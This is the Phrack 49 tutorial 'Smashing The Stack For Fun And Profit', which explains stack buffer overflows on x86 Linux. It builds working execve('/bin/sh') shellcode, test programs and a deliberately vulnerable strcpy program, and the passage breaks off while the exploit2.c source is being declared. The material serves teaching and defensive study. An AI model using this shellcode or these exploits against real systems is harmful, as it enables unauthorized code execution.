.oO Phrack 49 Oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

BugTraq, r00t, and Underground.Org
bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Smashing The Stack For Fun And Profit

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

by Aleph One
aleph1@underground.org

'smash the stack' [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw.

Introduction
~~~~~~~~~~~~

Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work.

Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows.

Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~

To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order.

The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation.

The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments.

```
/------------------\  lower
|                  |  memory
|       Text       |  addresses
|                  |
|------------------|
|   (Initialized)  |
|        Data      |
|  (Uninitialized) |
|------------------|
|                  |
|       Stack      |  higher
|                  |  memory
\------------------/  addresses
```

Fig. 1 Process Memory Regions

What Is A Stack?

A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO.

Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack.

Why Do We Use A Stack?

Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack.

The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.

The Stack Region

A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack.

The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call.

Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack.

In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel-based processors, accessing a variable at a known distance from SP requires multiple instructions.

Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP.

The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently.

Let us see what the stack looks like in a simple example:

example1.c:

```
------------------------------------------------------------------------------
void function(int a, int b, int c) {
```

```
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
------------------------------------------------------------------------------
```

To understand what the program does to call function() we compile it with gcc using the -S switch to generate assembly code output:

```
$ gcc -S -o example1.s example1.c
```

By looking at the assembly language output we see that the call to function() is translated to:

```
        pushl $3
        pushl $2
        pushl $1
        call function
```

This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog:

```
        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp
```

This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP.

We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte):

```
bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack
```

Buffer Overflows
~~~~~~~~~~~~~~~~

A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example:
~~~~~~~~~~~~~~~~

```
example2.c
------------------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';

  function(large_string);
}
------------------------------------------------------------------------------
```

   This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation. Lets see what its stack looks when we call function:

```
bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack
```

   What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation.

   So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like:

```
bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack
```

Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now:

example3.c:

```
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------
```

What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb:

```
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
```

```
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------
```

We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes.

Shell Code

So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this:

```
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack
```

The code to spawn a shell in C looks like:

shellcode.c

```
------------------------------------------------------------------------------
#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
```

To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time.

```
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------
```

Lets try to understand what is going on here. We’ll start by studying main:

```
------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
```

```
        This is the procedure prelude.  It first saves the old frame pointer,
        makes the current stack pointer the new frame pointer, and leaves
        space for the local variables. In this case its:

        char *name[2];

        or 2 pointers to a char. Pointers are a word long, so it leaves
        space for two words (8 bytes).

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

        We copy the value 0x80027b8 (the address of the string "/bin/sh")
        into the first pointer of name[]. This is equivalent to:

        name[0] = "/bin/sh";

0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

        We copy the value 0x0 (NULL) into the seconds pointer of name[].
        This is equivalent to:

        name[1] = NULL;

        The actual call to execve() starts here.

0x8000144 <main+20>:    pushl  $0x0

        We push the arguments to execve() in reverse order onto the stack.
        We start with NULL.

0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

        We load the address of name[] into the EAX register.

0x8000149 <main+25>:    pushl  %eax

        We push the address of name[] onto the stack.

0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

        We load the address of the string "/bin/sh" into the EAX register.

0x800014d <main+29>:    pushl  %eax

        We push the address of the string "/bin/sh" onto the stack.

0x800014e <main+30>:    call   0x80002bc <__execve>

        Call the library procedure execve().  The call instruction pushes the
        IP onto the stack.
------------------------------------------------------------------------------
```

Now execve(). Keep in mind we are using a Intel based Linux system. The syscall details will change from OS to OS, and from CPU to CPU. Some will pass the arguments on the stack, others on the registers. Some use a software interrupt to jump to kernel mode, others use a far call. Linux passes its arguments to the system call on the registers, and uses a software interrupt to jump into kernel mode.

```
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

        The procedure prelude.

0x80002c0 <__execve+4>: movl   $0xb,%eax

        Copy 0xb (11 decimal) onto the stack. This is the index into the
        syscall table.  11 is execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

        Copy the address of "/bin/sh" into EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

        Copy the address of name[] into ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

        Copy the address of the null pointer into %edx.

0x80002ce <__execve+18>:        int    $0x80

        Change into kernel mode.
------------------------------------------------------------------------------
```

So as we can see there is not much to the execve() system call. All we need to do is:

a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.

But what if the execve() call fails for some reason? The program will continue fetching instructions from the stack, which may contain random data! The program will most likely core dump. We want the program to exit cleanly if the execve syscall fails. To accomplish this we must then add a exit syscall after the execve syscall. What does the exit syscall looks like?

exit.c

```
------------------------------------------------------------------------------
#include <stdlib.h>

void main() {
        exit(0);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
```

```
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------
```

The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int 0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place 0 in EBX. Our list of steps is now:

a) Have the null terminated string "/bin/sh" somewhere in memory.
b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string "/bin/sh" into the EBX register.
e) Copy the address of the string "/bin/sh" into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.

Trying to put this together in assembly language, placing the string after the code, and remembering we will place the address of the string, and null word after the array, we have:

```
------------------------------------------------------------------------------
        movl   string_addr,string_addr_addr
        movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
        int    $0x80
        /bin/sh string goes here.
```

The problem is that we don’t know where in the memory space of the program we are trying to exploit the code (and the string that follows it) will be placed. One way around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions can use IP relative addressing, which means we can jump to an offset from the current IP without needing to know the exact address of where in memory we want to jump to. If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction to it, the strings address will be pushed onto the stack as the return address when CALL is executed. All we need then is to copy the return address into a register. The CALL instruction can simply call the start of our code above. Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be:

```
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________|
            |______________| (3)
top of                                                            bottom of
stack                                                                 stack
```

With this modifications, using indexed addressing, and writing down how many bytes each instruction takes our code looks like:

```
------------------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
------------------------------------------------------------------------------
```

Calculating the offsets from jmp to call, from call to popl, from the string address to the array, and from the string address to the null long word, we now have:

```
------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
```

```
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
------------------------------------------------------------------------------
```

Looks good. To make sure it works correctly we must compile it and run it. But there is a problem. Our code modifies itself, but most operating system mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment. We need first a hex representation of the binary code. Lets compile it first, and then use gdb to obtain it.

shellcodeasm.c

```
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------------
```

```
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
```

```
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
```

It works! But there is an obstacle. In most cases we'll be trying to overflow a character buffer. As such any null bytes in our shellcode will be considered the end of the string, and the copy will be terminated. There must be no null bytes in the shellcode for the exploit to work. Let's try to eliminate the bytes (and at the same time make it smaller).

```
           Problem instruction:                 Substitute with:
           --------------------------------------------------------
```

```
            movb   $0x0,0x7(%esi)                      xorl   %eax,%eax
            molv   $0x0,0xc(%esi)                      movb   %eax,0x7(%esi)
                                                       movl   %eax,0xc(%esi)
            --------------------------------------------------------
            movl   $0xb,%eax                           movb   $0xb,%al
            --------------------------------------------------------
            movl   $0x1, %eax                          xorl   %ebx,%ebx
            movl   $0x0, %ebx                          movl   %ebx,%eax
                                                       inc    %eax
            --------------------------------------------------------

   Our improved code:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
                                        # 46 bytes total
");
}
------------------------------------------------------------------------------

   And our new test program:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
```

```
$ exit
[aleph1]$
------------------------------------------------------------------------------
```

                              Writing an Exploit
                              ~~~~~~~~~~~~~~~~~~
                          (or how to mung the stack)
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know it must be part of the string which we'll use to overflow the buffer. We know we must point the return address back into the buffer. This example will demonstrate these points:

overflow1.c

```
------------------------------------------------------------------------------
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
```

```
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
```

What we have done above is filled the array large_string[] with the address of buffer[], which is where our code will be. Then we copy our shellcode into the beginning of the large_string string. strcpy() will then copy large_string onto buffer without doing any bounds checking, and will overflow the return address, overwriting it with the address where our code is now located. Once we reach the end of main and it tried to return it jumps to our code, and execs a shell.

The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be. The answer is that for every program the stack will start at the same address. Most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time. Therefore by knowing where the stack starts we can try to guess where the buffer we are trying to overflow will be. Here is a little program that will print its stack pointer:

sp.c
```
------------------------------------------------------------------------------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
```

```
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
```

Lets assume this is the program we are trying to overflow is:

vulnerable.c
```
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
```

We can create a program that takes as a parameter a buffer size, and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). We'll put the overflow string in an environment variable so it is easy to manipulate:

exploit2.c
```
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
